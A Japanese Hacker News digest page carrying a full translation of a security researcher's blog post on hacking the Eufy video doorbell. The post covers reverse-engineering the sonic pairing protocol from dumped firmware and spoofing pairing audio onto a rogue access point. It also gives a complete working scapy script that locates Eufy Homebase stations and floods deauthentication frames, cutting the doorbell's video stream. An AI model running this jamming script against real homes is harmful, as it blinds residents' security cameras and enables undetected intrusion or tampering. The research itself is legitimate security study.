HN 日本語サマリー

← 一覧へ戻る
セキュリティ

ドアベルからホームネットワークまで

From your doorbell to your home network (adepts.of0x.cc)

78 pointsby mmoogle10 コメント

要約

この記事は、Eufy製ビデオドアベルのセキュリティ研究について詳述しています。研究者は、ドアベルが通信に使用する隠しWi-Fiネットワークの脆弱性を発見し、ネットワークへの侵入、通信の傍受、さらにはドアベルの機能停止(ジャミング)が可能であることを示しました。これにより、物理的な接近やメモリダンプといった攻撃への道が開かれる可能性が指摘されています。

全文翻訳

ドアベルからホームネットワークへ

親愛なる仲間の皆さん、フクロウたちが空き時間を見つけてハッキングに戻ることができたことをお知らせできることを嬉しく思います。この2年間の休止期間を経て、私たちはこのささやかなデジタルの説教壇から新しい説教を説くことを喜ばしく思います。どうぞ、席についてこの物語を聞いてください。

目次

この記事は通常よりもかなり長くなるため、この目次から興味のあるセクションに直接ジャンプして、残りをスキップすることができます。もちろん、この小さなフクロウはあなたがすべて読んでくれることを望んでいます。

  • 0x00 前置き。この研究がどのように始まったかについての紹介。技術的な詳細のみに興味がある場合は自由にスキップできます。
  • 0x01 エコシステム入門。製品、そのコンポーネント、およびそれらがどのように関連しているかについての簡単な説明。
  • 0x02 ジャミング。ドアベルを「管理」ネットワークからリモートで切断し、ビデオ/オーディオのストリーミングを回避できます。ひどい概念実証が提供されています。
  • 0x03 音波同期プロトコル。ドアベルとホームベースを同期するために使用される音波プロトコルのリバースエンジニアリング。
  • 0x04 フラッシュメモリダンプからのOCEAN_XXXXXX認証情報の抽出と復号化。ドアベルが隠しネットワークに接続するために使用する認証情報を含む暗号化された設定ファイルを復元し、リバースエンジニアリングしました。

0x00 前置き

昨年の6月、私はEuskalHack会議で講演する機会を得ました(私の講演は、Linux環境に参加する広告についての簡単な101でした)。コンピュータサイエンスの修士号を取得中の義理の弟を連れて行きました(学士号に加えて、彼らは現在、資格のある修士プログラムを修了する必要があるようです)、ハッキングの世界を少し見せて、興味を spark させたいと思いました。

そして幸運にも、Pepelux氏のビデオインターホンをハッキングした話が彼の興味を強く引きました。そこで、その興味を capitalize し、学習演習として夏にガジェットをハッキングしてみることを提案しました。

ターゲットを絞るのに数週間かかりましたが、ある日、素晴らしい街を歩いていると、ビデオドアベルの数が非常に多いことに気づきました。残念ながら、私の街は現代の癌に感染しています。 unchecked な観光と、短期の観光客向け賃貸によって引き起こされる地域社会生活の破壊です。それは成長し、私たちの近隣の社会構造に壊死を引き起こす腫瘍です。

そこで私は当然のことをしました…それらに最も一般的に使用されているモデルを特定し、それを pwn することにしました :)

こうして私は「Eufy Security Video Doorbell」エコシステムに照準を定めました。

0x01 エコシステム入門

この「Eufy Security Video Doorbell」をインターネットで購入しました。箱に見られるように、それは2つの部分で構成されています。「Homebase Station 2」と「Doorbell」自体です。Homebaseはセントラルハブとして機能し、ユーザーがインターネット(Wi-Fiまたはイーサネットケーブル経由)に接続するものです。一方、ビデオドアベルは玄関先に設置されます。ドアベル(そしてEufy関連の他の製品も同様だと思います)は、隠しWi-Fi経由でHomebaseステーションと通信します。

[画像: Eufy box]

製品ボックスには2つのコンポーネントが表示されています

箱には、近所の人に24時間年中無休で録画していることを伝える美しいステッカーも含まれていました。

[画像: Sticker]

24時間年中無休のビデオ録画

Homebase Station:

[画像: Homebase Station 2]

Homebase Station 2

Doorbell:

[画像: Doorbell]

ドアベル

すべてはモバイルアプリから制御されます。これにより、Homebaseと通信したり、新しいデバイスを追加したり、ドアベルと通信したり、期待される通常のすべてのことができます。

この同じエコシステムに関するUSENIXの講演「Reverse Engineering the Eufy Ecosystem: A Deep Dive into Security Vulnerabilities and Proprietary Protocols」があり、著者はHomebaseがデバイスを管理するために使用する隠しネットワークで使用される事前共有キー(PSK)の低エントロピーに焦点を当てていました(また、P2Pプロトコルの詳細な調査も行っています)。この研究は2023年に行われ、Eufyは多くの変更を加えました(例えば、PSKはもはや8バイトではなくなりました。後で説明します)。しかし、1つだけ真実です。隠しネットワークは OCEAN_XXXXXX と呼ばれ、接尾辞はHomebaseのMACアドレスの最後の24ビットです。

私の4歳のデザインスキルで作成した次の図は、各要素の役割を視覚化するのに役立ちます。

[画像: Network]

ネットワーク図

ドアベル(そしておそらく他のEufyデバイス)は、ある時点でインターネットと通信する必要があるため、Homestationはゲートウェイとして機能し、その隠しネットワークに接続すると(後で説明します)、自由にブラウズできます。また、ネットワーク上の他のすべての要素にアクセスできます(例えば、ルーターのWebインターフェース)。

0x02 ジャミング

私が最初に考えたのは…これが標準的なWPA2を保護なしで使用している場合…ディアス認証パケットに対して脆弱ではないか?答えは「はい、もちろんです」です。リモートでディアス認証パケットを flood して、隠しネットワークから切断させることができます。これにより、ビデオ/オーディオはローカルに記録されますが、Homebase/モバイルアプリにはストリーミングされません。これは、物理的に近づいて、石でウェルネスマッサージを適用する興味深い方法になります。または、それを開いてメモリをダンプし、誰も操作したことを知らないように閉じることです。

明白な免責事項:私はいかなる破壊行為の commission も扇動していません。私は単に脅威モデリングについて話しているだけです。

Homebaseの存在を特定するのは簡単です。そのMACアドレスの最初の24ビットは既知だからです(ドアベルとHomebaseの両方が同じプレフィックスを使用します):90:bf:d9。古いAlfa Wi-Fiアンテナを dust off し、バッテリー駆動のRaspberry Piに接続し、探しているMACアドレスと一致するMACアドレスを持つステーションからのビーコンを見つけるために歩き回ることができます。次に、使用しているチャネルを取得し、OCEAN_XXXXXXを構築したプローブ要求を、表示されたMACアドレスの最後の24ビットで送信します。プローブ応答が得られた場合、Homebaseがあることがわかり、そのネットワークにブロードキャストディアス認証パケットを送信できます。このプロセスを要約するひどいスクリプトは以下で見つかります。

#!/usr/bin/env python3


from scapy.all import *
from scapy.layers.dot11 import Dot11, Dot11Elt
from scapy.layers.dot11 import RadioTap
import subprocess, time

ch = None 
ssid = None
bssid = None
iface = "wlan1"
whale_mac = None
whale_ssid = None

def banner():
    print("		-=[ Baleeiro - Juan Manuel Fernandez (@TheXC3LL) ]=-\n\n")
    print('''
                     _==|            
           _==|   )__)  |
             )_)  )___) ))
            )___) )____))_)
       _    )____)_____))__)\
        \---__|____/|___|___-\\\\---
^^^^^^^^^\   oo oo oo oo     /~~^^^^^^^
  ~^^^^ ~~~~^^~~~~^^~~^^~~~~~
    ~~^^      ~^^~     ~^~ ~^ ~^
         ~^~~        ~~~^^~
          ''')


def beacon_handler(pkt):
    global ch
    global ssid
    global bssid

    if ch is not None:
        return
    if not pkt.haslayer(Dot11):
        return
    d = pkt[Dot11]
    if d.type != 0 or d.subtype not in (5,8):
        return
    if d.addr2 and d.addr2.lower()[:8] == "90:bf:d9":
        cur = pkt
        while True:
            cur = cur.payload
            if cur is None or cur == NoPayload:
                return
            if isinstance(cur, Dot11Elt) and cur.ID == 3:
                if len(cur.info) >= 1:
                    ch = cur.info[0]
                    ssid = "OCEAN_" + d.addr2.upper()[8:].replace(":","")
                    bssid = d.addr2.upper()
                    break
        if ch != None:
            print("[*] Arr!! Our lookout has spotted movement on channel " + str(ch) + "!!")
            return
        else:
            return
    else:
        return

def set_channel(mon_iface):
    subprocess.run(["sudo", "iw", "dev", mon_iface, "set", "channel", str(ch)], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

def build_req():
    global ssid
    global bssid

    rt = RadioTap()
    dot11 = Dot11(type=0, subtype=4, addr1="ff:ff:ff:ff:ff:ff", addr2="90:bf:d9:9f:13:37", addr3=bssid)

    probe_req = (
        rt / dot11 /
        Dot11Elt(ID=0, info=ssid.encode()) /
        Dot11Elt(ID=1, info=bytes([0x82,0x84,0x8b,0x96,0x0c,0x12,0x18,0x24])) /
        Dot11Elt(ID=50, info=bytes([0x30,0x48,0x60,0x6c])) /
        Dot11Elt(ID=3, info=bytes([2])) /
        Dot11Elt(ID=45, info=bytes([0x30]) + bytes(25)) /  
        Dot11Elt(ID=221, info=bytes([0xaa,0xbb,0xcc,0x00,0x00,0x00,0x36,0x18]))
    )
    cur = probe_req
    while True:
        cur = cur.payload
        if cur is None or cur == NoPayload:
            break
        if isinstance(cur, Dot11Elt) and cur.ID == 3:
            cur.info = bytes([ch])
            break
    return probe_req

def handle_probe_resp(pkt):
    global whale_mac
    global whale_ssid
    if whale_mac != None:
        return
    if not pkt.haslayer(Dot11):
        return
    d = pkt[Dot11]
    if d.type == 0 and d.subtype == 5:
        if d.addr1 and d.addr1.lower() == "90:bf:d9:9f:13:37":
            whale_mac = d.addr2.upper()
            cur = pkt
            while True:
                cur = cur.payload
                if isinstance(cur, Dot11Elt) and cur.ID == 0:
                    whale_ssid = cur.info.decode("utf-8", errors="ignore")
                    break
            print("[*] Our lookout confirmed it! It's a big one!!")
            print('''
    .-------------'```'----....,,__                        _,
   |                               `'`'`'`'-.,.__        .'(
   |                                             `'--._.'   )
   |                                                   `'-.<
   \               .-'`'-.                            -.    `\ 
    \               -.o_.     _                     _,-'`\    |
     ``````''--.._.-=-._    .'  \            _,,--'`      `-._(
       (^^^^^^^^`___    '-. |    \  __,,..--'                 `
        `````````   `'--..___\    |
                              `-.,'
                              ''')
            print("			" + whale_ssid + "\t" + whale_mac)
            return
            
def deauth():
    global whale_mac
    global iface
    packet = RadioTap() / \
         Dot11(type=0,         
               subtype=12,     
               addr1="ff:ff:ff:ff:ff:ff",
               addr2=whale_mac,
               addr3=whale_mac) / \
         Dot11Deauth(reason=7)
    print("[*] Launching 500 harpoons to hunt that whale!")
    for x in range(0,500):
        sendp(packet, iface=iface, verbose=False)

def main():
    banner()
    print("[*] Baleeiro is watching the ocean...")
    sniff(iface=iface, prn=beacon_handler, store=False, timeout=5)
    if ch is None:
        print("[!] Arr!! The ocean is empty today!!\n")
        exit(1)
    set_channel(iface)
    sniffer = AsyncSniffer(iface=iface, prn=handle_probe_resp, store=False)
    sniffer.start()
    time.sleep(0.05)
    sendp(build_req(), iface=iface, count=1, inter=0.01, verbose=False)
    time.sleep(2)
    sniffer.stop()
    if whale_ssid != None:
        print("[*] It's time to grab the harpoons! Press enter when you wanna start the hunt!")
        input()
        deauth()


if __name__ == "__main__":
    main()

スクリプトは500回送信するだけです。これは、ローカルセットアップでプローブするために必要なすべてだからです(正直に言うと、これはエラーで発見しました。ハッシュキャットでクラックしようとして4ウェイハンドシェイクを取得しようとしていただけです)。

0x03 音波同期プロトコル

ドアベルをHomeBaseに接続するには、同期する必要があります。一見したところ、同期プロセスは音波に依存しているようです。私は信号を扱ったことがなかったので、このプロトコルがどのように機能するかを理解することは魅力的な挑戦のように思えました。USENIXの論文では簡単に言及されています。

[画像: Mention to the pairing system]

ペアリングシステムへの言及

これは部分的に真実であり、私に多くの時間を無駄にさせました。当初、論文に基づいて、HomeBaseがその音波にSSIDとパスフレーズをエンコードし、ドアベルが情報をデコードして隠しネットワークに直接接続すると考えていました。Homebaseがサウンド経由でSSID名とPSKを送信することは正しいですが、それは一時的なホットスポットのためです。ドアベルがホットスポットに接続すると、隠しWi-Fi SSIDとパスワードを帯域外で共有し、最終的にそれに接続します。

ホットスポットデータはHomebaseが再起動するたびに異なるため、ランダムであるか、タイムスタンプなどに由来すると推測されます(ファームウェアをダンプするために必要なハードウェアを持っていないため、生成方法については盲目です)。音波がどのように生成されるかは明らかです。ペアリングプロセス全体をここで聞くことができます。

[音声: Your browser does not support the audio element.]

オーディオを録音するために、Raspberry Piとウェブカメラを使用してこの貧乏人のセットアップを作成しました。

[画像: Crappy setup to record the audio]

私には華やかなラボがありません。

続行する前に免責事項が必要です。なぜなら、それは重要だと信じているからです。私は生物学者であり、数学、通信、信号、そしてこの世界のすべてについて全く知りません。これは、私が正しく説明する方法ではない、または不正確なものを説明する可能性があることを意味します。したがって、私の知識不足による間違いを見つけた場合は、ブログを編集してさらに学ぶことができるように教えてください。この分野での私の知識不足で誰も気分を害さないことを願っています。私はこの同期プロトコルを、これまで触れたことのないこのトピックを学び始めるための単なる口実として使用しました。

この研究部分の開始方法について全く知らなかったので、友人であるGonzalo Carracedo a.k.a BatchDrake(SigDiggerの作成者)に相談しました。彼はすぐに15分のビデオ通話に参加して、分析の開始方法と彼が見つけたことを説明してくれました。信号から彼は次のように述べました。

  • 19個の周波数が使用されました
  • それらの間の差は150Hzでした
  • ギャップがありました(1つの周波数は使用されませんでした)
  • シンボルの持続時間は約65msでした

彼はドアベルのファームウェア(受信機として機能し、ホームベースから送信された音波をデコードします)をダンプし、私の分析と古典的なリバースエンジニアリングを組み合わせることを勧めました。幸いなことに、フラッシュメモリにテストフックを接続し、古いRaspberry PiのSPI0インターフェースを使用してダンプすることができました(注意:Homebaseフラッシュは「レッグ」を公開していないため、テストフックを接続できません。そのため、まだダンプしていません)。

[画像: Raspberry Pi being used to dump the memory]

メモリをダンプするために使用されているRaspberry Pi

フラッシュメモリのダンプを取得したら、可能なすべてのファイルを抽出し、分析する正しいELFを見つけるための文字列を検索しました。「SSID」を探すと、明白な候補が見つかりました。

[画像: Strings related to SSID]

SSID関連の文字列

次に、ELF内でさらに手がかりを探しました(例:「frequency」、「sample」などを検索)。そして、この興味深い関数を見つけました。

uint FUN_000b4f28(int param_1,int param_2)

{
  uint uVar1;
  char *pcVar2;
  int *piVar3;
  int iVar4;
  
  printf("---------use base frequence: %d\n",12000);
  DAT_0029a148 = *(uint *)((undefined1  [16])0x0 + (undefined1  [16])0x4);
  DAT_0029a14c = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0x8);
  DAT_0029a150 = *(undefined4 *)((undefined1  [16])0x0 + (undefined1  [16])0xc);
  DAT_0029a144 = 0;
  DAT_0029a154._0_4_ = (void *)0x0;
  _DAT_0029a15c = 0;
  DAT_0029a164._0_4_ = 0;
  DAT_0029a154._4_4_ = DAT_0029a148;
  DAT_0029a160 = DAT_0029a148;
  DAT_0029a164._4_4_ = DAT_0029a148;
  if (param_1 != 0xac44 && param_1 != 48000) {
    printf("samplerate error! only support %dHz, %dHz\n");
    uVar1 = 0;
  }
  else {
    if (param_2 != 0x10) {
      printf("bitwidth error! only support %d!\n",0x10);
      return (uint)(param_1 != 0xac44 && param_1 != 48000);
    }
    uVar1 = FUN_000b54cc(2);
    DAT_0029a148 = uVar1;
    if (uVar1 == 0) {
      puts("create failed!");
    }
    else {
      piVar3 = &DAT_00282ef4;
      iVar4 = 12000;
      do {
        piVar3 = piVar3 + 1;
        *piVar3 = iVar4;
        iVar4 = iVar4 + 0x96;
      } while (iVar4 != 0x3a02);
      FUN_000b55d0(uVar1,&DAT_00282ef8,0x13);
      FUN_000b5690(DAT_0029a148,0,&LAB_000b4e00,FUN_000b4e18);
      DAT_0029a154._0_4_ = malloc(0x100);
      if ((void *)DAT_0029a154 == (void *)0x0) {
        piVar3 = __errno_location();
        pcVar2 = strerror(*piVar3);
        printf("malloc failed with: %s\n",pcVar2);
        uVar1 = 0;
        if (DAT_0029a148 != 0) {
          puts("failed!");
          FUN_000b5580(DAT_0029a148);
          uVar1 = 0;
        }
      }
      else {
        DAT_0029a144 = 1;
        uVar1 = DAT_0029a148;
      }
    }
  }
  return uVar1;
}

見つけましたか?

      iVar4 = 12000;
      do {
        piVar3 = piVar3 + 1;
        *piVar3 = iVar4;
        iVar4 = iVar4 + 0x96;
      } while (iVar4 != 0x3a02);

このコードは、BatchDrakeが簡単な分析で発見した19個の周波数(0x96 => 150Hzの間隔)のコンテキストキャプチャを初期化するために使用されます。FUN_000b54ccから、「ウィンドウフレーム」をどのように選択するかを見ることができます。

void FUN_000b54cc(int param_1,undefined4 param_2)

{
  int iVar1;
  void *pvVar2;
  uint uVar3;
  undefined4 uVar4;
  int iVar5;
  uint in_fpscr;
  double dVar6;
  
  dVar6 = (double)VectorSignedToFloat(param_2,(byte)(in_fpscr >> 0x16) & 3);
  if (param_1 == 2) {
    uVar4 = 2;
  }
  else {
    uVar4 = 1;
  }
  iVar1 = (int)(longlong)((dVar6 * 1024.0) / 44100.0);
  uVar3 = iVar1 - (iVar1 >> 0x1f) & 0xfffffffe;
  if ((int)uVar3 < 0x101) {
    iVar5 = 0x100;
  }
  else if (uVar3 - 0x101 < 0x100) {
    iVar5 = 0x200;
  }
  else {
    iVar5 = 0x400;
  }
  pvVar2 = calloc(0x118,1);
  FUN_000baaf8(pvVar2,uVar4,param_2,1,0x10,iVar5,iVar5 - iVar1 / 2);
  return;
}

1024サンプルを44.1kHzでスケーリングします:1024 / 44100 = 23.22 ms。ハーフウィンドウの進みは512 / 44100 = 11.61 msです。ファームウェアはこれを実行します…しかし、同期オーディオを録音したときに分析に影響を与えるとは知らなかったため、私のWAVは32Kです。これは、同じタイミングを維持するために、ウィンドウは743サンプル(32000サンプル/秒 x 0.02322秒)で構成され、ハーフウィンドウの進みは372になります。この11.61msのウィンドウ進みを使用すると、6回の進みごとにシンボルをキャプチャできました(したがって、6 x 11.62)。シンボル期間を69.75msに設定するとうまくいくと推定しました(そしてうまくいきました)。

最も強い周波数(「トーン」)をプロットし(1から19まで番号を付け)、パターンが明確に現れる様子を見ることができます。

[画像: Tones vs Time]

トーン対時間

位置「1」のトーンは、あるサイズの情報ブロックを分割するマーカーのように見えます(15シンボル)。最後のものは「短縮された」ブロック(4シンボル)のようです。15シンボルサイズの「ブロック」にシンボルを「グループ化」することは、FUN_000c2624で発生します。この関数が何をするのか理解できませんでした(前述のように、私の数学と通信の知識はほぼゼロです)。そのため、ChatGPTにガイダンスを求めなければなりませんでした。それが私に与えた説明は次のとおりです。

FUN_000c2624は、各トーンシンボルが発生すべき位置を予測し、それらの位置の周りのすべての19の周波数を評価し、時間的に一貫性のある最適な候補を保持します。後で処理するために、これらの候補をブロックにグループ化します。

パイプラインの次のステップは、認識されたトーンをニブルに変換することです。関数FUN_000b7160がすべての魔法が起こる場所です。マッピングは簡単です。

if (uVar5 != 0x12) {
    uVar1 = uVar5 - 1 & 0xff;
}

uVar13 = uVar1;
if (0xe < uVar1) {
    uVar13 = 0xf;
}

以前のプロットで「1」とラベル付けした物理的なトーンは、ブロックを分割するための「マーカー/ガード」です。そのため、トーンからニブルへの変換は、トーン番号2から始まります(配列は0から始まるため、私のトーン番号2は「イベント1」として解釈されます。私はトーンに1から番号を付けました - 馬鹿げたオフバイワンです)。したがって、トーン2から17はニブル0からFにマッピングされます。これはトーン1から17をカバーしますが、18と19はどうなりますか?

この関数の分析から、それらが繰り返しを示すための「制御」トーンとして使用されていると推測できます。ホームベースが同じトーンを2回以上送信する必要がある場合(例:1-1-1をエンコードするため)、それが2回なのか3回なのかを確実に判断するのは難しいと思います(実際の現実世界は、合成テストやラボよりもノイズが多い)。次の表は、発見をまとめたものです。

[画像: Tones meaning based on firmware analysis]

ファームウェア分析に基づくトーンの意味

この情報を使用して、ホームステーションによって共有されるすべてのニブルを回復できます。文字通り、最初の画像(トーン対時間のプロット)のデータ表現を改善し、紙にトーンシーケンスを書き込むだけで手動で回復できます。

[画像: Manual decoding]

最初のブロックの手動デコード(マーカーとしても使用されるトーン10は無視します)

このプロセスをPythonで自動化した後、オーディオから回復された3つのブロックは次のとおりです。

[画像: Automatic decoding]

各ブロックからデコードされた情報

トーンをニブルにデコードする際に、最後の2つのニブルがFUN_000bcd4によって使用されていることがわかりました。これは、理解できなかった関数です。再び、ChatGPTにその関数について説明するように依頼しました。

FUN_000bcd48は、15ニブルのブロックに対してReed-Solomon処理を実行します。2つのGF(16)パリティシンドロームを計算し、両方がゼロの場合はブロックをそのまま受け入れ、ゼロでない場合は1つの誤ったニブルを特定して修正しようとします。簡単に言うと、ブロックの2つのパリティニブルを使用して、CRC検証に進む前に誤って認識された単一のトーンを修復します。

したがって、それはReed-Solomonでした。つまり、最後の2つのニブルはそれ自体では情報を持っていません(エラーを修正するためにのみ使用されます)。

[画像: Full block meaning]

ブロック全体の意味

短縮されたブロックはCRC-16です(FUN_000b7104でFUN_000c4370を使用して検証されます)。

bool FUN_000b7104(int param_1,int param_2)

{
  uint uVar1;
  int iVar2;
  
  uVar1 = FUN_000c4370(param_1,param_2 - 4U & 0xffff);
  iVar2 = param_1 + (param_2 + 0x3ffffffc) * 4;
  return (*(uint *)(iVar2 + 0xc) & 0xf | 
          (*(uint *)(param_1 + (param_2 + 0x3ffffffc) * 4) & 0xf) << 0xc |
          (*(uint *)(iVar2 + 4) & 0xf) << 8 | (*(uint *)(iVar2 + 8) & 0xf) << 4) == uVar1;
}


uint FUN_000c4370(int param_1,int param_2)

{
  uint uVar1;
  uint *puVar2;
  
  if (param_2 != 0) {
    puVar2 = (uint *)(param_1 + -4);
    uVar1 = 0xffff;
    do {
      puVar2 = puVar2 + 1;
      uVar1 = ((uint)*(ushort *)(&DAT_00235e90 + (*puVar2 & 0xff ^ uVar1 >> 8) * 2) ^ uVar1 << 8) &
              0xffff;
    } while ((uint *)(param_1 + (param_2 - 1U & 0xffff) * 4) != puVar2);
    return uVar1;
  }
  return 0xffff;
}


この時点で、何が「使用可能」なデータで、何がエラーを修正したり、正しいトーンからニブルへの変換を保証するために追加されたデータなのかが明確になりました。変換パイプラインをさらに掘り下げる代わりに、ズームを開いて、SSIDとパスワードがどこで使用される可能性があるかを探し始めました(はい、文字列を検索しただけです)。そして、データが「s」と「p」を含むJSONをフォーマットするために使用されているこの宝石を見つけました。これは、「sssid」と「password」である可能性を示唆しています。

void FUN_000b4e18(undefined4 param_1,int param_2,undefined4 param_3,undefined4 param_4)

{
  undefined4 uVar1;
  int iVar2;
  undefined1 auStack_94 [40];
  undefined1 auStack_6c [88];
  
  if (param_2 != 0) {
    param_4 = 2;
  }
  _DAT_0029a15c = 0;
  uVar1 = param_4;
  if ((param_2 == 0) && (iVar2 = FUN_000b642c(param_3,param_4), uVar1 = _DAT_0029a15c, iVar2 != 2))
  {
    if (iVar2 == 1) {
      FUN_000b6514(0,param_3,param_4,auStack_94);
      if ((char *)DAT_0029a154 != (char *)0x0) {
        snprintf((char *)DAT_0029a154,0xff,"{\"s\": \"%s\", \"p\":\"%s\"}",auStack_94,auStack_6c);
      }
      _DAT_0029a15c = 1;
      uVar1 = _DAT_0029a15c;
      DAT_0029a160 = (char *)DAT_0029a154;
    }
    else if (iVar2 != 3 && iVar2 != 0) {
      printf("------------------recognized data:%s\n",param_3);
      uVar1 = _DAT_0029a15c;
    }
  }
  _DAT_0029a15c = uVar1;
  if (DAT_0029a150 != (code *)0x0) {
    (*DAT_0029a150)(&DAT_0029a15c);
  }
  return;
}

関数FUN_000b642cはfirst_nibble >> 1を返します。それが「1」(if (iVar2 == 1)で見たように)の場合、エンコードされたデータが「wifi」タイプであると判断します。その場合、FUN_000b6514が呼び出されます。

undefined4 FUN_000b6514(undefined4 param_1,undefined1 *param_2,int param_3,int param_4)

{
  uint uVar1;
  uint uVar2;
  int iVar3;
  int iVar4;
  int local_24 [2];
  
  uVar1 = FUN_000c43d0(*param_2);
  uVar2 = FUN_000c43d0(param_2[1]);
  local_24[0] = 0;
  iVar3 = FUN_000c43d0(*param_2);
  if (iVar3 >> 1 != 1) {
                    /* WARNING: Subroutine does not return */
    __assert("vr_decodeInfoType(_data, _dataLen) == IT_SSID_WIFI",
             "/home/workspace/ANKER/audio_wave/src/voiceRecog.c",0x1ef);
  }
  iVar4 = ((uVar1 & 1) << 4 | uVar2) + 1;
  iVar3 = FUN_000b5e88(param_2 + 2,param_3 + -2,local_24,param_4,iVar4,0x21);
  if (iVar4 == iVar3) {
    *(undefined1 *)(param_4 + iVar4) = 0;
    *(int *)(param_4 + 0x24) = iVar4;
    iVar3 = FUN_000b5e88(param_2 + local_24[0] + 2,param_3 - (local_24[0] + 2),
                         local_24,param_4 + 0x28,0xffffffff,0x50);
    *(undefined1 *)(param_4 + iVar3 + 0x28) = 0;
    *(int *)(param_4 + 0x78) = iVar3;
    return 1;
  }
                    /* WARNING: Subroutine does not return */
  __assert("dataLen == ssidLen","/home/workspace/ANKER/audio_wave/src/voiceRecog.c",0x1f1);
}

これは大まかに次のように翻訳できます。

bool decodeWifiSSID(
    Context *ctx,
    uint8_t *data,
    int dataLen,
    WifiInfo *out)
{
    uint8_t header0 = decodeNibble(data[0]);
    uint8_t header1 = decodeNibble(data[1]);

    int consumed = 0;

    // Packet must be of type SSID_WIFI
    assert((decodeNibble(data[0]) >> 1) == IT_SSID_WIFI);

    // SSID length is encoded in first two bytes
    int ssidLen = (((header0 & 1) << 4) | header1) + 1;

    // Decode SSID
    int decoded =
        decodePayload(
            data + 2,
            dataLen - 2,
            &consumed,
            out,
            ssidLen,
            0x21);

    assert(decoded == ssidLen);

    out->ssid[ssidLen] = '\0';
    out->ssidLength = ssidLen;

    // Decode password
    int passLen =
        decodePayload(
            data + consumed + 2,
            dataLen - (consumed + 2),
            &consumed,
            out->password,
            -1,
            0x50);

    out->password[passLen] = '\0';
    out->passwordLength = passLen;

    return true;
}

ピンポン!ジャックポット!!したがって、この関数は(decodePayloadという名前を付けたFUN_000b5e88の助けを借りて、長すぎるのでここに貼り付けるのを避けました)SSIDとパスワードをデコードします。すべてをまとめると、完全なメッセージは次のようになります。

[画像: Full decoded data]

完全にデコードされたデータ

  • SSID: 731f1350
  • パスワード: 267039eb

したがって、ホームベースによって送信されたデータは、OCEAN_XXXXXXの隠しWi-Fi認証情報ではありませんでした。それは、ドアベルがオーディオをデコードした後、一時的なホットスポット用にアドホックに作成されたデータでした。おそらく、ドアベルがこのWi-Fiに接続すると、ホームベースはTCPまたはUDPを使用して実際のOCEAN_XXXXXXデータを帯域外で送信します。いずれにせよ、私のデコードが機能しているかどうかを検証する方法は1つしかありません。逆(エンコーダー)を作成し、ドアベルがそれに接続するかどうかを確認するためにWi-Fiを作成することです。

まず、Raspberry Piで任意のデータを持つ新しいAPを作成します。

psyconauta@insulafructuum-i:~ $ sudo cat /etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=a1b2c3d4
hw_mode=g
channel=6

ieee80211n=1
wmm_enabled=1

auth_algs=1
wpa=2
wpa_passphrase=4d3c2b1a
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP


logger_stdout=-1
logger_stdout_level=0
logger_syslog=-1
logger_syslog_level=0

次に、Raspberry Pi Wi-Fiデータをエンコードしました。

psyconauta@insulafructuum-i:~ $ python3 audio_wave_encoder.py "a1b2c3d4" "4d3c2b1a" message.wav
payload: 276613162326333643463464336332623161
crc: 72f3
blocks: 27661316232631b 3364346346433b4 633262316172f9f 3c2
tones: 10 1 4 9 8 18 3 5 3 8 4 5 4 8 5 3 13 1 5 18 8 6 5 6 8 5 6 8 6 5 18 13 6 1 8 5 18 4 8 4 5 3 8 3 9 4 17 11 17 1 5 14 4 1
wrote: message.wav


(testing with the decoder that the info is correct)

psyconauta@insulafructuum-i:~ $ python3 audio_wave_decoder.py message.wav 
{
  "type": 1,
  "raw_hex": "276613162326333643463464336332623161",
  "kind": "wifi",
  "ssid": "a1b2c3d4",
  "password": "4d3c2b1a",
  "consumed_nibbles": 36,
  "rs_corrected_blocks": 0
}

生成されたオーディオはここで聞くことができます。

[音声: Your browser does not support the audio element.]

「同期」ボタンを2秒間押した後、モバイルでドアベルに再生したところ、ドアベルはすぐに私のWi-Fiを要求するプローブ要求を送信しました :D

[画像: Probe request]

ドアベルが私のWi-Fi a1b2c3d4に接続しようとしています

そして数分後、完全な接続が得られました。

psyconauta@insulafructuum-i:~ $ sudo iw dev wlan0 station dump
Station 90:bf:d9:9f:97:fa (on wlan0)
	 inactive time: 0 ms
	 rx bytes: 10340
	 rx packets: 116
	 tx bytes: 12995
	 tx packets: 175
	 tx failed: 0
	 tx bitrate: 1.0 MBit/s
	 rx bitrate: 26.0 MBit/s
	 authorized: yes
	 authenticated: yes
	 associated: yes
	 WMM/WME: yes
	 TDLS peer: no
	 DTIM period: 2
	 beacon interval:100
	 short slot time:yes
	 connected time: 72 seconds
	 current time: 1785233886535 ms

静的IP(192.168.32.250)を使用しました。

psyconauta@insulafructuum-i:~ $ sudo tcpdump -i wlan0 -n -e ether host 90:bf:d9:9f:97:fa
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on wlan0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
12:32:15.319733 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype EAPOL (0x888e), length 113: EAPOL key (3) v2, len 95
12:32:15.344634 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype EAPOL (0x888e), length 135: EAPOL key (3) v1, len 117
12:32:15.346593 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype EAPOL (0x888e), length 169: EAPOL key (3) v2, len 151
12:32:15.365989 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype EAPOL (0x888e), length 113: EAPOL key (3) v1, len 95
12:32:15.394131 90:bf:d9:9f:97:fa > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.250 tell 192.168.32.250, length 28
12:32:15.396167 90:bf:d9:9f:97:fa > ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.2 tell 192.168.32.250, length 28
12:32:15.396217 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype ARP (0x0806), length 42: Reply 192.168.32.2 is-at b8:27:eb:be:95:f3, length 28
12:32:15.405804 90:bf:d9:9f:97:fa > b8:27:eb:be:95:f3, ethertype IPv4 (0x0800), length 58: 192.168.32.250.63122 > 192.168.32.2.10402: Flags [S], seq 1860381, win 29200, options [mss 1460], length 0
12:32:15.405916 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype IPv4 (0x0800), length 54: 192.168.32.2.10402 > 192.168.32.250.63122: Flags [R.], seq 0, ack 1860382, win 0, length 0
12:32:20.470710 b8:27:eb:be:95:f3 > 90:bf:d9:9f:97:fa, ethertype ARP (0x0806), length 42: Request who-has 192.168.32.250 tell 192.168.32.2, length 28
